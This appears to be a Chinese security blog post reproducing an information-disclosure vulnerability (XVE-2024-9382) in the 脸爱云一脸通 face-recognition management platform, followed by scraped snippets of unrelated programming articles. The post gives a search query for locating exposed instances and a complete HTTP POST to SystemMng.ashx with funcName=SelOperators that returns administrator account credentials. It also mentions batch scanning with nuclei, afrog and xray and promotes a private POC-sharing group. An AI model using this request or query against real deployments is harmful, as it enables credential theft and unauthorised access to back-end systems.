当前位置：首页 > news >正文

【漏洞复现】脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

news 2026/2/8 21:52:12

0x01 产品简介

脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。
功能包括:系统管理中心、人员信息管理中心、设备管理中心、消费管理子系统、订餐管理子系统、水控管理子系统、电控管理子系统、考勤管理子系统、门禁通道管理子系统、会议签到管理子系统、访客管理子系统。

0x02 漏洞概述

脸爱云一脸通智慧管理平台存在信息泄露漏洞，该漏洞源于SystemMng.ashx接口处存在信息泄露漏洞，攻击者能够利用该漏洞通过SelOperators参数泄露的当前管理员的敏感信息，包括账号密码登录系统后台。

0x03 搜索语法

body="View/UserReserved/UserReservedTest.aspx"

在这里插入图片描述

0x04 漏洞复现

POST /SystemMng.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeusername=admin&funcName=SelOperators

在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

相关文章：

【漏洞复现】脸爱云一脸通智慧管理平台 SystemMng 管理用户信息泄露漏洞(XVE-2024-9382)

0x01 产品简介脸爱云一脸通智慧管理平台是一套功能强大，运行稳定，操作简单方便，用户界面美观，轻松统计数据的一脸通系统。无需安装，只需在后台配置即可在浏览器登录。功能包括:系统管理中心、人员信息管理中心、设备…...

编程日记 2024/6/25 4:19:06

新手如何入门Web3？

一、什么是Web3？ Web3是指下一代互联网，它基于区块链技术，致力于将各种在线活动变得更加安全、透明和去中心化。Web3是一个广义的概念，涵盖了包括数字货币、去中心化应用、智能合约等在内的多个方面。它的主要特点包括去中心化、…...

编程日记 2024/6/25 4:17:03

React.FC`＜ChildComponentProps＞`解释

代码场景 ParentComponent.tsx import React, { useState } from react; import ChildComponent from ./ChildComponent;function ParentComponent() {const [childData, setChildData] useState<string>();const handleChildData (data: string) > { // 可以直接…...

编程日记 2024/6/25 4:15:01

2024-06-24力扣每日一题

链接： 503. 下一个更大元素 II 题意循环数组，找出每个元素的往后最近且大于它的元素解： 今天没试暴力啊，大概率是过不了的思路就是先找到最大的数，最大数的结果肯定是-1，然后倒着遍历数组&#xf…...

编程日记 2024/6/25 4:11:58

pyhon模块以及常用的第三方模块

import my_info as info print(info.name) info.show()from my_info import * print(name) show() pyhon中包的导入 import admin.my_admin as ad # 包名.模块名 admin是包名，my_admin是模块名print(ad.name) print(ad.info())from admin import my_admin as ad # …...

编程日记 2024/6/25 4:10:57

shell脚本—快速修改centos网络配置

shell-文本中自行修改想要的配置 #!/bin/bash# 网卡名称 eth"eth0"# IP 地址 ipaddr"192.168.1.100"# 子网掩码 netmask"255.255.255.0"# 网关 gateway"192.168.1.1"# 写入配置文件 echo "BOOTPROTOstatic" > /etc/sysc…...

编程日记 2024/6/25 4:09:56

线程池概念、线程池的不同创建方式、线程池的拒绝策略

文章目录 💐线程池概念以及什么是工厂模式💐标准库中的线程池💐什么是工厂模式？💐ThreadPoolExecutor💐模拟实现线程池 💐线程池概念以及什么是工厂模式线程的诞生是因为，频繁的创…...

编程日记 2024/6/25 4:04:50

示例:WPF中如何绑定ContextMenu和Menu

一、目的：开发过程中，有些模块的右键ContextMenu菜单是需要动态显示的，既是根据不同条件显示不同的菜单，很多是通过代码去生成ContextMenu的MenuItem，本文介绍通过绑定的方式去加载ContextMenu，Menu菜单栏的…...

编程日记 2024/6/25 4:03:49

区块链小故事

大灰狼与小白兔一天兔子妈妈出门了，在大门上安装了一个区块链的门把手，这个门把手只有兔子妈妈、小兔子、以及另一个客人都同意的时候，才会开门，有一天客人a的钥匙丢了，被大灰狼捡到了，大灰狼于是去开门&…...

编程日记 2024/6/25 4:00:46

Java | Leetcode Java题解之第167题两数之和II-输入有序数组

题目： 题解： class Solution {public int[] twoSum(int[] numbers, int target) {int low 0, high numbers.length - 1;while (low < high) {int sum numbers[low] numbers[high];if (sum target) {return new int[]{low 1, high 1};} else i…...

编程日记 2024/6/25 3:59:45

项目训练营第三天

项目训练营第三天注册登录测试前面我们编写了用户注册、登录的逻辑代码，每编写完一个功能模块之后，我们都要对该模块进行单元测试，来确保该功能模块的正确性。一般情况下使用快捷键Ctrl Shift Insert，鼠标左击类名可以自动生…...

编程日记 2024/6/25 3:57:41

计算机组成原理 | CPU子系统（1）基本概述

基本结构模型运算与缓存部件数据寄存部件 PSW不是很清楚存储器是什么？属于那个结构里？ 时序处理部件 cpu是大脑，控制器是神经元 ①通过硬件产生控制信号 ②通过软件产生控制信号外频（系统时钟信号），…...

编程日记 2024/6/25 3:54:33

无引擎游戏开发（2)：最简游戏框架 | EasyX制作井字棋小游戏I

一、EasyX中的坐标系不同于数理中的坐标系，EasyX中的y轴是竖直向下的二、渲染缓冲区之前的程序添加了这三个函数改善了绘图时闪烁的情况: 小球在"画布“上移动的过程就是我们在调用绘图函数，这个”画布“就是渲染缓冲区，先绘制的内…...

编程日记 2024/6/25 3:53:26

排书 IDA*

原题链接题目描述给定 n 本书，编号为 1∼n。在初始状态下，书是任意排列的。在每一次操作中，可以抽取其中连续的一段，再把这段插入到其他某个位置。我们的目标状态是把书按照 1∼n 的顺序依次排列。求最少需要多少次操作。输…...

编程日记 2024/6/25 3:51:23

playwright录制脚本原理

Paywright录制工具UI 在上一篇博客中介绍了如何从0构建一款具备录制UI测试的小工具。此篇博客将从源码层面上梳理playwright录制原理。当打开playwright vscode插件时，点击录制按钮，会开启一个新浏览器，如下图所示，在新开浏览器页…...

编程日记 2024/6/25 3:48:19

awk脚本监控

awk脚本监控使用脚本监控内存，cpu和硬盘的根目录，超过80%提示用户，写成函数库的行，每天早上的8.50分，执行一次脚本现在脚本中写需要的内容 cpuu () {aa$(top -b -n 1 |awk NR3 {printf "%.F",$2$4})if …...

编程日记 2024/6/25 3:45:03

Python高压电容导电体和水文椭圆微分

🎯要点 🎯二维热传导二阶偏微分方程 | 🎯调和函数和几何图曲率 | 🎯解潮汐波动方程 | 🎯解静止基态旋转球体流体运动函数 | 🎯水文空间插值 | 🎯流体流动模拟求解器 | 🎯随机算法解…...

编程日记 2024/6/25 3:44:01

微信小程序引入MiniProgram Design失败

这tm MiniProgramDesign 是我用过最垃圾的框架没有之一我按照官网的指示安装居然能安装不成功,牛! 这里说明我是用js开发的到以上步骤没有报错什么都没有,然后在引入组件的时候报错 Component is not found in path “./miniprogram _npm/vant/weapp/button/index” (using…...

编程日记 2024/6/25 3:39:57

Java 8 Date and Time API

Java 8引入了新的日期和时间API，位于java.time包下，旨在替代旧的java.util.Date和java.util.Calendar类。新API更为简洁，易于使用，并且与Joda-Time库的一些理念相吻合。以下是Java 8 Date and Time API中几个核心类的简要概述&…...

编程日记 2024/6/25 3:38:56

pyppeteer模块经常使用的功能，相关操作案例

官方仓库地址：https://github.com/miyakogi/pyppeteer 官方文档地址：API Reference — Pyppeteer 0.0.25 documentation Selenium环境的相关配置比较繁琐，此外，有的网站会对selenium和webdriver进行识别和反爬，因此在…...

编程日记 2024/6/25 3:36:54

浏览器访问 AWS ECS 上部署的 Docker 容器（监听 80 端口）

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义（Task Definition&…...

编程新知 2026/2/8 15:03:14

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来，Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。同样的技术也是 Power BI 数据…...

编程新知 2026/2/1 19:08:45

【网络安全产品大调研系列】2. 体验漏洞扫描

前言 2023 年漏洞扫描服务市场规模预计为 3.06（十亿美元）。漏洞扫描服务市场行业预计将从 2024 年的 3.48（十亿美元）增长到 2032 年的 9.54（十亿美元）。预测期内漏洞扫描服务市场 CAGR（增长率&…...

编程新知 2026/2/4 12:43:08

376. Wiggle Subsequence

376. Wiggle Subsequence 代码 class Solution { public:int wiggleMaxLength(vector<int>& nums) {int n nums.size();int res 1;int prediff 0;int curdiff 0;for(int i 0;i < n-1;i){curdiff nums[i1] - nums[i];if( (prediff > 0 && curdif…...

编程新知 2026/2/8 10:51:38

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面（Target 选项卡）1. IROM1（用于配置 Flash）2. IRAM1（用于配置 RAM）二、链接器设置界面（Linker 选项卡）1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数（如果没有勾选上面…...

编程新知 2026/2/7 0:28:16

ElasticSearch搜索引擎之倒排索引及其底层算法

文章目录一、搜索引擎1、什么是搜索引擎？2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长，文件大。2.其次，树深，IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...

编程新知 2026/1/30 17:10:19

【OSG学习笔记】Day 16: 骨骼动画与蒙皮（osgAnimation）

骨骼动画基础骨骼动画是 3D 计算机图形中常用的技术，它通过以下两个主要组件实现角色动画。骨骼系统 (Skeleton)：由层级结构的骨头组成，类似于人体骨骼蒙皮 (Mesh Skinning)：将模型网格顶点绑定到骨骼上，使骨骼移动…...

编程新知 2026/2/1 5:42:50

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一，概述 1. 目的将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本：2014.07； Kernel版本：Linux-3.10； 二，Uboot 1. sys_config.fex改动使能uart3(TX:PH00 RX:PH01)，并让boo…...

编程新知 2026/2/5 6:28:09

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...

编程新知 2026/2/8 1:58:01

零基础在实践中学习网络安全-皮卡丘靶场（第九期-Unsafe Fileupload模块）（yakit方式）

本期内容并不是很难，相信大家会学的很愉快，当然对于有后端基础的朋友来说，本期内容更加容易了解，当然没有基础的也别担心，本期内容会详细解释有关内容本期用到的软件：yakit（因为经过之前好多期…...

编程新知 2026/1/21 12:29:04